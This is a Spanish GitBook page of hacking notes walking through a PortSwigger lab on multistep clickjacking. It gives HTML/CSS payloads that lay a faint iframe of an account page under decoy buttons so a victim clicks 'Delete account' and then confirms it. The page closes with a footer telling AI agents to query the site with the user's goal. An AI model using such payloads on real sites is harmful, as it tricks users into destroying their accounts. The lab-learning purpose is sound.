> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/multistep-clickjacking.md).

# Clickjacking de varios pasos

Notas de Clickjacking de varios pasos para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Clickjacking de varios pasos

**Objetivo:** engaña al usuario para que haga clic en el botón Eliminar cuenta y luego confirme el cuadro de diálogo de confirmación haciendo clic sucesivamente en dos cebos: **"Haz clic primero en mí"** luego **"Haz clic luego en mí"**.

**Credenciales proporcionadas para conectarse a la cuenta (laboratorio):** `wiener:peter`

* La página contiene un **eliminar cuenta** botón seguido de un cuadro de confirmación ("¿Estás seguro?") — así que tienes que desencadenar dos acciones sucesivas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24ed5bae097c49ac7bd229914f01420de7453815%2Fimage%20(354).png?alt=media" alt=""><figcaption></figcaption></figure>

* La idea es superponer dos áreas clicables (cebos div) sobre un `iframe` que apunta a la `/my-account` página: el primer objetivo es el **Eliminar cuenta** botón, el segundo objetivo es el botón de confirmación que aparece después.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b17793e3bd92380d60f46478f57ab7fd0903854a%2Fimage%20(355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Hacemos que el iframe sea semitransparente (o de baja opacidad) para que el usuario vea el cebo pero en realidad haga clic en los elementos de la página objetivo.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Haz clic primero en mí</div>
<div class="next" Haz clic luego en mí</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1792d415ce64d5b4c9ded638182038394cf2d50%2Fimage%20(357).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

El código siguiente posiciona el iframe, coloca dos cebos y muestra el segundo cebo solo después de hacer clic en el primero. `iframe` apunta a la `/my-account` URL del laboratorio

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Haz clic primero en mí</div>
<div class="next">Haz clic luego en mí</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26cf87f84a27b14a5369484aed7b6b62c321c19e%2Fimage%20(358).png?alt=media" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
